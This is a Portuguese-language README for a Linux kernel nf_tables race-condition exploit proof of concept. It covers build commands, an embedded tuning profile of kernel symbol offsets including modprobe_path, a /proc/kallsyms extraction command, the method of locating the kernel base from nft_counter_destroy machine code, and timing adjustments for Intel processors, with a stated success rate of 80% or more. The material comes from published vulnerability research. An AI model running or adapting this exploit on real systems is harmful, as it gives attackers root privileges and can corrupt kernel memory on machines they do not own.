
Para uso próprio, o autor do PoC é Piotr Krysiuk, leia o README.md antes de usar.
As instruções abaixo foram testadas no Ubuntu 23.04 (Lunar Lobster).
Execute o seguinte comando para instalar as dependências de build:
sudo apt install gcc libmnl-dev libnftnl-dev
Execute o seguinte comando para compilar o binário PoC:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
O perfil embutido contém parâmetros específicos para o kernel Linux distribuído em formato binário como os seguintes pacotes do Ubuntu 23.04 (Lunar Lobster):
O perfil embutido se parece com isto:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
Passos opcionais para sobrescrever o perfil embutido ao testar com outros kernels Linux:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
Para encontrar a base do kernel, examinamos a imagem nf_tables.ko na memória do
kernel. E especificamente, analisamos o código de máquina da sub-rotina
nft_counter_destroy(). Isto significa que nosso método é sensível ao
compilador bem como às opções de compilação. No entanto, todos os casos usuais
podem ser tratados sobrescrevendo o perfil embutido.
Por exemplo, o código de máquina da sub-rotina nft_counter_destroy() pode se parecer com isto:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
No caso acima, podemos especificar alguns parâmetros anexando as três linhas abaixo ao arquivo de configuração "profile".
Primeiro, redefinimos o offset do dword que precede o deslocamento
free_percpu:
5 nft_counter_destroy_call_offset # hex
onde o valor 5 foi calculado usando a expressão (1e31d - 1e310) - 8.
Como verificação de sanidade, validamos então o dword no offset acima usando a seguinte máscara:
ffffffff nft_counter_destroy_call_mask # hex
esperando o seguinte valor:
e9087e8b nft_counter_destroy_call_check # hex
Explorar a vulnerabilidade requer vencer uma corrida com a thread de trabalho em segundo plano do kernel Linux. O perfil embutido foi ajustado para maximizar a chance de vencer essa corrida em uma ampla gama de microprocessadores Intel, incluindo Sandy Bridge móvel e Comet Lake desktop. No entanto, alguns microprocessadores requerem ajustes adicionais. Por exemplo, observamos latência aumentada para alternar tarefas no Alder Lake em certas configurações, onde pode ser necessário anexar a seguinte linha ao "profile":
400 race_lead_sleep
Medimos probabilidade de 80% ou mais para explorar com sucesso a vulnerabilidade em nossos testes que usaram sistemas bare-metal ociosos.
Uma vez que o PoC é iniciado em um sistema vulnerável, ele pode deixar esse sistema em um estado instável com memória do kernel corrompida. Recomendamos fortemente testar o PoC em um sistema dedicado para evitar possíveis corrupções de dados.